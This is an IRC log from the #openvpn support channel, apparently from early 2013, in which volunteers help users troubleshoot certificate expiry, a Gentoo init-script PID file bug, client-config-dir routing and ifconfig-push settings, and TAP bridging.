20:16 -!- cosmicgate [~root@216.17.109.26] has quit [Ping timeout: 256 seconds]
20:22 -!- catsup [~d@64.111.123.163] has quit [Read error: Operation timed out]
20:22 -!- catsup [~d@64.111.123.163] has joined #openvpn
20:27 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 255 seconds]
20:28 -!- catsup [~d@64.111.123.163] has joined #openvpn
20:30 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
20:30 < shadoom> does anyone else know why the android version of openvpn wouldnt work with my client.ovpn but windows7 and ubuntu does?
20:31 <@krzee> not without more info :D
20:31 <@krzee> tried looking at the logs?
20:31 < shadoom> yeah i dont see any warning on it
20:32 < shadoom> its connected successfully
20:32 < shadoom> but theres no internet access whatsoever
20:33 <@krzee> !logs
20:33 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
20:33 < shadoom> when im connected to the vpn on my android device the only website i can access is the access-server
20:34 < shadoom> well the log is on my phone, let me see if i can copy it out somehow
20:34 -!- cosmicgate [~root@113.210.100.175] has joined #openvpn
20:35 <@krzee> access-server you say?
20:35 <@krzee> !as
20:35 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
20:35 -!- cosmicgate is now known as Guest36577
20:35 < shadoom> well but i use a .ovpn file to connect and the official openvpn app for android?
20:35 <@krzee> go ahead and try to get the log still, im sure #openvpn-as will need it
20:35 < shadoom> okay
20:35 <@krzee> i dunno, you need #openvpn-as
20:35 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 245 seconds]
20:35 <@krzee> ive never used AS
20:38 -!- Guest36577 [~root@113.210.100.175] has left #openvpn []
20:38 -!- cosmicgate [~root@113.210.100.175] has joined #openvpn
20:50 -!- zoredache [~zoredache@pdpc/supporter/professional/zoredache] has quit [Quit: leaving]
20:59 -!- adolfomaltez [~taro@190.62.238.211] has joined #openvpn
21:01 -!- pfire2 [~mthode@62.205.111.11] has joined #openvpn
21:02 < pfire2> is there a way to ignore certificate expiration client side? Feb  1 04:02:06 khorne openvpn[30172]: SIGUSR1[soft,tls-error] received, process restarting
21:03 <+pekster> Chnage your clock? Why can't you just re-issue the server certificate?
21:03  * pfire2 is away from home and server cert expired...
21:03 < pfire2> client cert is still good though
21:04 <+pekster> If your PKI is online (or split where part of it that issues frontend certs is online) you can ssh in and re-issue
21:04 <+pekster> I don't suppose that's set up?
21:05 < pfire2> no, ssh only over vpn
21:05 < pfire2> I'm looking at my firewall config to see if I left an in for me though
21:05 < pfire2> well, I might have
21:06 < pfire2> no, not that one :(
21:06 <+pekster> Or just temporarily open it up. I generally don't mind public ssh, although I change the default port and limit acceptable auth types to pubkey only
21:06 <+pekster> I rarely get scans or login attempts using obscure numbers
21:06 <+pekster> Next time mark your calendar for cert expirations ;)
21:07 < pfire2> I'm 7000km away from that system
21:07 < pfire2> ya
21:08 <+pekster> If ssh works over VPN, you can set your local clock backwards to when the cert was still valid, connect in, re-issue the cert, and log out and fix your clock
21:08 <+pekster> Kind of a hack, but it'll work (it wouldn't work with an expired client cert, but that's not (yet) your problem)
21:08 < pfire2> I can try that
21:09 <+pekster> openvpn can do "extra" checks on a certificate, but they first have to pass the existing checks. openvpn relies on OpenSSL to do the verification of certs, so there's no flag to turn it off
21:10 < pfire2> ok
21:11 < pfire2> that did the trick, thanks
21:11 < pfire2> the date thing
21:14 <+pekster> Best check your client expiration too, otherwise you won't be so lucky next time
21:16 < pfire2> ya, working on that too
21:16 < pfire2> I only have a couple of days til it expires
21:19 < cosmicgate> sounds like you're living on borrowed time
21:20 < pfire2> very much so
21:22 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
21:24 <+pekster> Best to check such things before you go far away from physical access to stuff you care about. And maybe issue things for longer. If you're comfortable revoking lost/unused/compromised keys yourself, just issue them for 100 years or something and never run into that again
21:25 < pfire2> ya
21:25 < pfire2> ya, up'd to 10 years and replaced certs
21:25 < pfire2> all done :D
21:29 <+pekster> Don't forget to bounce services at both ends
21:29 <+pekster> And be sure you set permissions and file names properly, otherwise a restart will fail. That, or set up remote ssh access first as your dead-man's switch
21:30 <+pekster> And, maybe consider opening externall ssh after you properly harden/secure it (alt pot + pubkey only, no passwords.)
21:31 < pfire2> yep
21:31 < pfire2> ssh was done first
21:38 < cosmicgate> anyone know how to use the client-nat directive of openvpn 2.3?
21:38 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
21:46 -!- prometheanfire [~promethea@gentoo/developer/prometheanfire] has joined #openvpn
21:46 < prometheanfire> thanks for the help pekster :D
21:48 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
21:49 -!- pfire2 [~mthode@62.205.111.11] has quit [Quit: leaving]
22:00 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
22:11 -!- shadoom [~shadoom@91-65-183-58-dynip.superkabel.de] has quit []
22:17 -!- _quadDam1ge [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
22:19 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has quit [Read error: Connection reset by peer]
22:23 <+pekster> prometheanfire: np. I noticed the cloak on that account too; I've been a Gentoo fan for a while, and have it running on 2 headless boxes downstairs atm :)
22:52 -!- voyo [~voyo@213-134-188-198.home.aster.pl] has quit [Read error: Connection reset by peer]
23:03 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
23:03 < phantomcircuit> !goal
23:03 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
23:04 < phantomcircuit> i have a server running 2.2.2 on gentoo which has 1 client successfully connected and working, i have another client on gentoo running 2.2.2 that doesn't even try to connect it just fails before it sends out a single udp packet
23:04 < phantomcircuit> Feb  1 04:57:46 localhost openvpn[27199]: Local Options hash (VER=V4): '41690919'
23:04 < phantomcircuit> Feb  1 04:57:46 localhost openvpn[27199]: Expected Remote Options hash (VER=V4): '530fdded'
23:04 < phantomcircuit> Feb  1 04:57:46 localhost openvpn[27199]: Exiting
23:04 -!- ura [~ura@unaffiliated/ura] has joined #openvpn
23:04 < ura> Good morning!
23:05 < phantomcircuit> there's a warning about the semantics of tls-remote and about script-security but nothing else
23:07 < ura> Does OpenVPN have built-in DHCP server? My tap interface on client side configured with IP from ifconfig-pool, but other machine, whose interface is bridget with tap0 is sending DHCP requests but getting no answers.
23:07 <+pekster> Try posting the logs, not snippits of them phantomcircuit. It's hard to know what the problem is when we're missing critical pieces
23:07 <+pekster> phantomcircuit: Also, using verb 4 will help identify issues. 3 or less leaves out potentially helpful info
23:07 < ura> So I tend to think what is often called "OpenVPN DHCP" is just an internal protocol for assigning IP to clients, but not real DHCP.
23:08 <+pekster> ura: OpenVPN client side uses a fake DHCP server to supporg eg: Windows DHCP
23:09 < ura> pekster, Thanks I will read this configuration. I must misconfigured, because my DHCP requests are not handled by openvpen and are going through tap interface to server.
23:09 < phantomcircuit> pekster, ok
23:09 < phantomcircuit> http://pastebin.com/raw.php?i=Na4vNJXZ
23:09 < phantomcircuit> verb = 11
23:09 <+pekster> Well, >5 is debugging only levels
23:09 <+pekster> Stick with 4, or maybe 5 if you really need per-packet RWrw in your logs
23:09 < phantomcircuit> it's still a short log even with verb=11
23:10 <+pekster> Yea, this is fine
23:10 <+pekster> Just for next time ;)
23:11 < phantomcircuit> yeah i set it higher after i noticed there wasn't any packet activity
23:11 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 264 seconds]
23:12 < phantomcircuit> you know what i think it's being killed by the gentoo init script :|
23:13 < ura> pekster, But if I have Linux server and Linux client, and Windows machine bridged to tap0 can I use DHCP for windows machine? Would ip-win32 work in this case?
23:13 < phantomcircuit> openvpn openvpn.conf is working just fine :|
23:13 <+pekster> I use ovpn, currently 2.3.0, but I used to run 2.2.2 under Gentoo and it worked fine. Maybe it's the way something interacts with it?
23:13 <+pekster> phantomcircuit: Nvm, just gunna say to test that
23:13 <+pekster> phantomcircuit: See /etc/conf.d/openvpn for some init runtime config. Gentoo makes a mistake (IMO) by downgrading user privs itself unless you tell it not to
23:14 < phantomcircuit> PEER_DNS/DETECT_CLIENT/RE_ENTER
23:14 <+pekster> ura: If you use --ifconfig-pool, openvpn will get an IP out of that. If you want to use a LAN DHCP server instead, don't pass a pool and the DHCP requet hits your LAN server-side lstead
23:14 < phantomcircuit> nothing about user privs
23:14 < phantomcircuit> http://pastebin.com/raw.php?i=jNKk0yDa
23:15 <+pekster> Set DETECT_CLIENT="no", as that'll stop the user priv downgrade, IIRC
23:15 <+pekster> Oh, wait, no
23:15 <+pekster> Sorry, set 'user root' and 'group root' in yoru config
23:15 <+pekster> Or hack the initscript to suck less
23:15 <+pekster> I also have DETECT_CLIENT="no" for sanity
23:16 < ura> pekster, I see, so the only option to use DHCP on bridged Windows machine is to setup DHCP at server. I hoped that OpenVPN has built-in DHCP server which works as supplement to ifconfig-pool to aid setting ip on bridged machines.
23:16 <+pekster> Otherwise it does all sorts of silly stuff by calling its own up/down scripts; maybe you like that automatic behaviour, but I don't. Unless you wanted gentoo's init to downgrade privs to the 'openvpn' user, set the user/group to root in your ovpn config, or comment out those lines in the init
23:17 < phantomcircuit> pekster, it's an selinux install so i suspect lots of things will break horribly without the right users
23:17 < phantomcircuit> but i'll give it a shot
23:17 <+pekster> ura: No, the only "dhcp" stuff openvpn does is fake it to the client if the sever pushed an ip via --ifconfig-pool or --ifconfig-push
23:18 <+pekster> phantomcircuit: Yea, I'd imaine so. Try letting openvpn run as root, unless you've configured SELinux to let it work with 'openvpn'
23:18 <+pekster> An SELinux related channel is probably better for support since openvpn can't run without the right OS-level permissions, obviously
23:18 <+pekster> Or put SELinux into permissive mode and see what gets tripped to fix
23:19 <+pekster> I assume you have sec-policy/selinux-openvpn already?
23:19 < ura> pekster, I see. Thank you very much for explanation!
23:21 < phantomcircuit> root      2256  2255  0 05:21 ?        00:00:00 /usr/sbin/openvpn --config /etc/openvpn/openvpn.conf --writepid /var/run/openvpn.pid --daemon --setenv SVCNAME openvpn --cd /etc/openvpn --setenv PEER_DNS no
23:21 < phantomcircuit> exactly the same log output
23:22 <+pekster> What's SELinux log show?
23:22 <+pekster> I'm guessing denials
23:23 <+pekster> Again: put SELinux into permissive mode, which is the standard way to see what permissions an app is tripping that you must fix
23:23 <+pekster> I'm not very familiar with SELinux beyond high level understanding, so I won't be of specific help
23:23 < phantomcircuit> absolutely nothing :/
23:23 < phantomcircuit> first thing i checked for
23:24 <+pekster> You can past your config and I can see if anything looks off there
23:24 < phantomcircuit> permissive/enforcing you get the same errors the only difference is they're enforced
23:24 <+pekster> But you should get an actual error message at some point
23:24 <+pekster> (in openvpn, that is; it's really good about explaining why it didn't do something prior to initilization)
23:24 < phantomcircuit> http://pastebin.com/raw.php?i=wm72QDpz
23:26 < phantomcircuit> pretty standard configuration
23:27 <+pekster> Yea. huh, no idea really
23:29 < phantomcircuit> it is bizarre isn't it :)
23:29 < phantomcircuit> i'll go bug someone in #gentoo
23:29 < phantomcircuit> it's clearly an init.d bug
23:30 <+pekster> phantomcircuit: I don't suppose if you set DETECT_CLIENT=no that helps?
23:31 <+pekster> That turns off some adjustment of options, like changing script-security to 2, and adding their own --up and --down options
23:31 < phantomcircuit> no it didn't i set that and then commented out the server part of the init script
23:31 <+pekster> I guess either way it may be a bug against the initscript when used in combination with SELinux
23:32 <+pekster> The "server part" of the initscript?
23:32 <+pekster> The client dtect stuff right after "if [ "${DETECT_CLIENT:-yes}" = "yes" ] && \ ..." is the part that's causing "client-looking config" to get extra commands added when you start it
23:32 < phantomcircuit> DETECT_CLIENT is an if/else that assumes if you have DETECT_CLIENT=no you're a server and should be running as openvpn
23:33 <+pekster> Yea; I disabsle both by setting DETECT_CLIENT=no and 'user root' 'group root' so that effectively does "nothing"
23:33 <+pekster> YMMV
23:36 < phantomcircuit> openvpn --up-delay --up-restart --cd /etc/openvpn/ --script-security 2 --up /etc/openvpn/up.sh --down-pre --down /etc/openvpn/down.sh --config /etc/openvpn/openvpn.conf
23:36 < phantomcircuit> which i think is all of the gentoo options works
23:36 -!- cosmicgate [~root@113.210.100.175] has quit []
23:37 < phantomcircuit> so it's something about start-stop-daemon
23:37 -!- cosmicgate [~root@113.210.100.175] has joined #openvpn
23:37 <+pekster> huh, interesting
23:37 < phantomcircuit> the order of cmd line argument doesn't matter.. does it?
23:37 -!- cosmicgate is now known as Guest93345
23:37 <+pekster> Oh, it does becuase options after --config foo.conf over-write those, IIRC
23:38 <+pekster> So, can you repeate that CLI test with --config at the beginning?
23:38 < phantomcircuit> ahah
23:38 <+pekster> That'll probably reveal breakge, I hope
23:39 < phantomcircuit> i reordered them to match and now i get the same result as init
23:39 <+pekster> So, now you know it's one of the gentoo-specific init flags that's breaking it
23:39 <+pekster> Figure out which one and remove/fix it ;)
23:39 <+pekster> Then send it upstream, because that's a really nasty bug
23:40 < phantomcircuit> there's no /var/run directory
23:40 -!- catsup [d@64.111.123.163] has joined #openvpn
23:40 < phantomcircuit> gentoo moved to /run
23:40 < phantomcircuit> lol
23:40 <+pekster> You're kidding, *that* broke it? :x
23:40 < phantomcircuit> --writepid /var/run/openvpn.pid is what's breaking it
23:40 <+pekster> Probably file the bug against SELinux, not openvpn then
23:40 <+pekster> Their team needs to fix the openvpn SELinux packag
23:40 < phantomcircuit> that was it
23:41 < phantomcircuit> it's a gentoo bug in general the init script should be using /run not /var/run
23:41 < phantomcircuit> i'll file it with gentoo against the portage package
23:41 <+pekster> Well, /var/run is a symlink to /run, no?
23:41 < phantomcircuit> it's probably also an openvpn bug that there's no error though
23:42 <+pekster> No, because start-stop-daemon is the one creating the PID
23:42 < phantomcircuit> normally it would be but somehow it got disappeared on this system
23:42 < phantomcircuit> no actually this init script has both start-stop-daemon and openvpn creating a pid file
23:42 <+pekster> Oh, yea, missed that
23:43 <+pekster> You could just put the symlink back
23:43 < phantomcircuit> so this appears to be both an openvpn bug and a gentoo portage bug
23:43 <+pekster> No clue why that's not there. I have a recent-ish install (maybe 6mo old) and it's there
23:43 < phantomcircuit> the openvpn bug being that there's mysteriously no error
23:44 <+pekster> I wonder if that's an SELinux thing, or not though. Let me try to test real quick. So you had openvpn [whatever] --writepid /var/does-not-exist/openvpn.blah.pid, right?
23:45 < phantomcircuit> yeah
23:45 <+pekster> 2.2.2? (I'll need to build that real quick into /usr/local if you're not on 2.3.0)
23:45 < phantomcircuit> yeah
23:46 < phantomcircuit> im fairly certain it isn't an selinux bug
23:46 <+pekster> k, gimmie a few to rebuild, and I'll see if I can reproduce here (if you'd like that info for the bugreport at least)
23:46 < phantomcircuit> all selinux denials are logged to the kernel message buffer
23:46 < phantomcircuit> and there wasn't anything logged
23:46 <+pekster> Sure, that makes sense
23:51 <+pekster> So, while 2.2.2 builds, 2.3.0 does the proper thing for me: Options error: --writepid fails with '/var/nowhere/openvpn.remote.pid': No such file or directory
23:51 -!- shadoom [~shadoom@91-65-183-58-dynip.superkabel.de] has joined #openvpn
23:52 <+pekster> Same with 2.2.2 as well
23:52 <+pekster> Open error on pid file /var/nowhere/openvpn.remote.pid: No such file or directory (errno=2)
23:52 < phantomcircuit> 	msg (M_ERR, "Open error on pid file %s", filename);
23:53 < phantomcircuit> does that look right for an error line?
23:53 <+pekster> FWIW, I'm running 32-bit, with the following build opts: ./configure --prefix=/usr/local/apps/openvpn-2.2.2 --enable-password-save --enable-iproute2
23:53 <+pekster> Yea, msg() then fatally exists with an error flag passed, in this case M_ERR
23:54 <+pekster> Oh, no, but there should be code below that to exit, I think
23:54 <+pekster> Still, no clue why it doesn't get loged :\
23:57 < phantomcircuit> and actually it doesn't even look like it should be a fatal error
23:57 < phantomcircuit> it appears to be designed to log the error and carry on
23:58 <+pekster> Well, it definitly cuased it to fatally exit for me
23:58 <+pekster> Notice in error.c it does a binary AND with M_FATAL, so maybe error.h has bitmasks for that?
--- Day changed Fri Feb 01 2013
00:00 -!- grey__ [~grey@cpe-76-171-192-216.socal.res.rr.com] has joined #openvpn
00:01 < phantomcircuit> error.h is one giant hack around broken compilers :|
00:01 < phantomcircuit> while (false)
00:01 < phantomcircuit> heh
00:02 <+pekster> #define M_ERR     (M_FATAL | M_ERRNO)
00:02 <+pekster> So M_ERR implies M_FATAL
00:02 <+pekster> Which causes msg() to eventually exit
00:02 <+pekster> So, it "should" print that message for you, and "should" exit
00:02 <+pekster> And my 2.2.2 build does
00:03 -!- greyEAX [~grey@cpe-76-171-192-216.socal.res.rr.com] has quit [Ping timeout: 244 seconds]
00:03 <+pekster> I'm not saying yours doesn't do differently, but I'm not sure why exactly
00:04 <+pekster> Code says that's not supposed to happen ;)
00:04 < phantomcircuit> heh
00:22 -!- adolfomaltez [~taro@190.62.238.211] has quit [Ping timeout: 248 seconds]
00:29 -!- shadoom [~shadoom@91-65-183-58-dynip.superkabel.de] has quit []
00:29 -!- SpookZA [~SpookZA@dsl-146-42-248.telkomadsl.co.za] has quit [Ping timeout: 276 seconds]
00:32 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
00:39 -!- adolfomaltez [~taro@190.62.211.253] has joined #openvpn
00:44 -!- cosmicgate-- [~root@198.148.120.32] has joined #openvpn
00:46 -!- Guest93345 [~root@113.210.100.175] has quit [Ping timeout: 252 seconds]
00:50 -!- brute11k [~brute11k@89.249.235.236] has joined #openvpn
00:51 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 255 seconds]
01:08 < prometheanfire> pekster: :D
01:08 < prometheanfire> pekster: noticed some selinux questions, if you have any let me know :D
01:09 < phantomcircuit> prometheanfire, there's some weirdness with an error message disappearing
01:10 < phantomcircuit> dont think it's selinux related though
01:11 <+pekster> Yea, that's the weird part. You get other logs, so clearly the log write is allowed. But I get the all-important message you don't, somehow
01:11 <+pekster> But it exitsi as if it was passed through that msg() function :\
01:11 <+pekster> exit is*
01:41 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
01:45 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has quit [Ping timeout: 255 seconds]
01:55 -!- manitu [~Thunderbi@h-213.61.163.68.host.de.colt.net] has joined #openvpn
01:56 < manitu> !welcome
01:56 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
01:56 < manitu> !goal
01:56 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
01:56 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
01:58 < manitu> 'I would like to run openvpn in a failover cluster'.. is there any implementation for this or do i just bind openvpn to my failover ip and start it on both servers?
02:02 < manitu> second question: someone here wrote a program to control access and that stuff, what was the name of this?
02:08 < manitu> yet another problem: if i change a ccd-file i need to reload or it won't be detected.. but if i reload all my clients disconnect.. is there no "softer" way?
02:12 < cosmicgate--> no need to reload
02:12 < cosmicgate--> for fail-over, just start openvpn on a new daemon
02:15 < manitu> cosmicgate--: the strange thing is i tried to create a new certificate, created a ccd and let the client connect after, but the ccd config didn't work at all :/
02:16 < cosmicgate--> show me the contents of the ccd file
02:17 < manitu> cosmicgate--: uh.. don't know right now, happened some time ago, but they looks basically like:
02:17 < manitu> !paste
02:17 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
02:18 < manitu> http://pastebin.com/Uay4tbhz
02:18 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 276 seconds]
02:18 < manitu> i don't know if the last push is required, but the one before me did this, so i also do it :o
02:19 <+pekster> manitu: That push should go in the main config file, not the ccd file, if and only if you want *other* clients to access that host owned by that client (the one the ccd is named after)
02:19 <+pekster> Well, either way you need to make the server aware of it via a 'route' command on the server-side
02:20 <+pekster> The manpage desscribes this behaviour in the --iroute option pretty well
02:21 < manitu> pekster: since not ever vpn-user should know every other it is not in the main.. the users certs have /24 routes in it.. don't worry about that it wouldn't be routed.. and i know you manually could add the route :)
02:21 <+pekster> No, my point is pushing a route (the /32 host-route) in the ccd that matches an iroute is a mistake
02:22 <+pekster> Don't do that. Then go read --iroute in the manpage to learn why, and what you need to do to make that iroute statement actually work
02:22 < manitu> pekster: i thought so.. but it seems to work.. i didn't write that down, just didn't remove it :/
02:23 < cosmicgate--> manitu: ifconfig-push is in the wrong format
02:23 < cosmicgate--> are you using tun or tap?
02:23 < manitu> cosmicgate--: on the server side its tun
02:23 <+pekster> Oh, yea, good catch. Even in PtP those need to be unique
02:23 < manitu> the client side is for the "computer clients" tun too
02:24 <+pekster> You should post your server config too, becuase many things are not correct in that ccd file
02:24 < manitu> pekster: what should be unique in which was?
02:24 <+pekster> see --ifconfig-push in the manpage
02:24 <+pekster> That is bogus becuase the IPs are the same
02:24 <+pekster> So, basically your entire ccd file is full of errors
02:27 < manitu> pekster: the second parameter is a netmask? like 255.255.255.255?.. is it still PtP?
02:27 < cosmicgate--> manitu: change your ifconfig-push to ifconfig-push 172.16.3.69 172.16.3.70 for windows
02:27 < cosmicgate--> if its linux then it should be 172.16.3.69 255.255.255.0
02:28 < manitu> cosmicgate--: ah.. so its the gateway.. is there no way just to use one ip per client?
02:28 <+pekster> Well, depends on the topology really
02:28 < cosmicgate--> yup
02:28 <+pekster> manitu: There is. --topology subnet
02:28 < cosmicgate--> just set topology subnet
02:28 < manitu> cosmicgate--: windows on serverside or client side?
02:28 < cosmicgate--> manitu:server side, ccd
02:30 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Remote host closed the connection]
02:31 < manitu> cosmicgate--: changed one of my client ccds to netmask 255.255.255.0 and push "topology p2p", seems to work fine
02:33 < cosmicgate--> ok
02:33 <+pekster> Well, that's also not really what you intended, but it "works" becuase the PtP on the client is peering with the "IP" 255.255.255.0
02:34 < manitu> thank you already.. here is the server config http://pastebin.com/T1aPbYsu
02:34 <+pekster> Good timing; I was about to leave (it's late here) and not having a server config didn't motivate me to help
02:35 < manitu> pekster: i'm sorry for taking your time.. i didn't even wrote the configs :/ .. thank you for checking it
02:35 <+pekster> You really don't want a /16 for openvpn. It doesn't hurt, but you can't actually connect that many clients anyway. I'd switch to a /24, but that's your call
02:36 <+pekster> The push on line 21 is unnecessary: the --server directive already pushes the entire /16, so you don't need it (and if you reduce it to a /24, say 172.16.2.0/24, that'll be implicit anyway)
02:36 < manitu> pekster: route just routes internal, right? .. the thing is that we have some categories of clients and every gets a /24 in the 192.168 section.. in the client ccd there is written something like 'push "route 192.168.10.0 255.255.255.0"'
02:37 <+pekster> Don't push a route like that
02:37 <+pekster> Line 18 in your server config already pushes the supernet to clients
02:37 <+pekster> Just define an iroute for whatever network is "behind" each one
02:37 <+pekster> No 'push "route"' junk in the ccd files
02:38 < manitu> pekster: is there some way of access management then? .. some clients should stay in its /24 network and some have access to every client
02:38 <+pekster> So, 1) delete line 21 in the server config you pasted (it's worthless) 2) remove the unnecessary 'push "route"' statements that overlap with the route on line 18
02:39 <+pekster> 3) set 'topology subnet' in the server config (this sounds like what you want, and it include a --push "topology subnet" since you're using --server too)
02:39 < manitu> pekster: the 192.168.0.0/16 is not shared to the clients as i see on my connected computer
02:40 <+pekster> 4) make sure every client ccd file is formated like this: ifconfig-push 172.16.a.b 255.255.0.0 (match that subnet to the one in your --server directive)
02:40 <+pekster> manitu: Oh, I see. Yea, you don't have a push for that, sorry. So are all clients supposed to be inter-connected? Then just push that too
02:40 <+pekster> In the main server config
02:40 <+pekster> push "route 192.168.0.0 255.255.0.0"
02:40 <+pekster> Also, that'll eat up the common 192.168.0.0/24 and 192.168.1.0/24 networks, which could cause you site issues. Adjust accordingly
02:40 < manitu> pekster: thats why there are pushs in the ccd.. to just share one of the subnets or sometimes just one single client
02:41 <+pekster> Um, I guess you can do that. Seems a pain to manage and not clean in the least
02:41 <+pekster> But this is wrong: http://pastebin.com/Uay4tbhz
02:41 <+pekster> Don't ever push the route to something you define in an iroute
02:41 <+pekster> See --iroute why
02:42 < manitu> pekster: thought so already.. removed that push :)
02:42 < manitu> that config is the one for clients which should just access 172.16.a.b
02:43 <+pekster> And apparently also "owns" 192.168.0.73/32 ?
02:43 < manitu> its a gprs "device" which has a internal lan
02:44 <+pekster> (remember, you can't re-use that IP, including in a larger netmask. So if you did 'iroute 192.168.0.0 255.255.255.0' in another ccd, that will cause problems)
02:44 < manitu> and one client with 192.168.0.73.. thats why there is an iroute
02:44 <+pekster> You need unique network addressing everywhere you route to
02:44 <+pekster> Yea, this is fine as long as you support it routing-wise across your infrastructure. It's a little weird to do it for a /32 like that, but allowed
02:44 < manitu> the problem is that every gprs client has a single device so 192.168.0.73 255.255.255.255
02:45 < manitu> and that devices sadly doesn't support any nat stuff
02:46 < manitu> and we won't do iroute with more then /24 .. they are managed in a database for that :)
02:46 -!- cosmicgate-- [~root@198.148.120.32] has quit [Ping timeout: 252 seconds]
02:47 < manitu> pekster: i'm a bit scared taking the server changes on a productive server right now.. need to test more :D
02:47 <+pekster> I'd suggest you do testing, yes
02:48 <+pekster> Maybe also look at --client-connect if things are in a backend table/database since it may be cleaner to key off of that than manually-managed ccd files
02:48 <+pekster> Anyway, I need some sleep. The suggestions I posted above with numbers are a good place to start, and see the manpage for all the options I just gave you
02:49 < manitu> thank you very much and sleep well :)
02:49 < manitu> here its nearly 10am.. so the day is just starting :D
02:50 <+pekster> Fri Feb  1 02:50:01 CST 2013
02:50 <+pekster> :)
02:50 -!- mode/#openvpn [-v pekster] by ChanServ
03:18 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
03:35 -!- Azrael808 [~peter@cpc17-walt12-2-0-cust657.13-2.cable.virginmedia.com] has joined #openvpn
03:41 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
03:48 -!- dazo_afk is now known as dazo
04:01 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
04:02 -!- mndo [~mndo@bl17-71-84.dsl.telepac.pt] has joined #openvpn
04:06 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
04:10 -!- Netsplit *.net <-> *.split quits: digilink, prometheanfire, cyberspace-, nutron, grey__
04:12 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
04:12 -!- u0m3_ [~Radu@92.80.84.80] has quit [Read error: Connection reset by peer]
04:13 -!- 45PABRYG3 [~grey@cpe-76-171-192-216.socal.res.rr.com] has joined #openvpn
04:13 -!- prometheanfire [~promethea@gentoo/developer/prometheanfire] has joined #openvpn
04:13 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
04:13 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
04:14 -!- k1ng [~k1ng@unaffiliated/k1ng] has quit [Read error: Connection reset by peer]
04:15 -!- u0m3 [~Radu@92.80.92.99] has joined #openvpn
04:21 -!- k1ng [~k1ng@unaffiliated/k1ng] has joined #openvpn
04:40 -!- JackWinter [~jack@vodsl-4655.vo.lu] has quit [Quit: ZNC - http://znc.in]
04:42 -!- JackWinter [~jack@vodsl-4655.vo.lu] has joined #openvpn
04:56 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood]
04:57 -!- Saviq_ [~Saviq@nat/canonical/x-ksvsphicsbzrziye] has joined #openvpn
04:57 -!- Saviq_ [~Saviq@nat/canonical/x-ksvsphicsbzrziye] has quit [Client Quit]
05:03 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
05:06 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
05:20 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn
05:22 -!- Eagleman [~Eagleman@5.45.183.189] has joined #openvpn
05:22 < Eagleman> I start my  openvpn client with: remote example.com 1195  However when i run netstat -plnu | grep 119, i get this:  udp        0      0 0.0.0.0:1194            0.0.0.0:*                           14411/openvpn  ANy idea why this happens?
05:33 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:40 -!- Dashers [dash@home.aligrant.com] has joined #openvpn
05:41 < Dashers> Morning - so, anybody got TAP working on a Linux server?  I've got mine connecting up, getting an address from a standalone DHCP server etc.  But, I cannot ping from the server to the client (although I can ping client to server, go figure).  Any ideas?
05:42 < havoc> client firewall is blocking it
05:43 < havoc> check inbound rule(s) on your client
05:43 < Dashers> no firewalls :/
05:43 < Dashers> actually, forget the client being able to ping, I don't think it is.
05:43 < Dashers> Looking at tcpdump the ping is coming over the public network not the vpn device
05:43 < havoc> bad/missing route then
05:44 < Dashers> route?  it's a TAP ethernet bridge
05:44 < havoc> yet another piece of info you neglected to mention ;)
05:45 < Dashers> " anybody got TAP working"
05:45 < havoc> check your routes, the route for that subnet should be using the bridge device
05:45 < havoc> ...on both ends
05:46 < Dashers> um, there is no subnet?  it's an ethernet bridge
05:46 < havoc> if there is a network, there is a subnet
05:46 < havoc> i.e. local IP/MASK
05:46 < Dashers> Yeah, but everything is on the same subnet.  So nothing contacts the gateway as it's all internal to the local subnet
05:46 < Dashers> So, there is no routing performed
05:46 < Dashers> so no routes
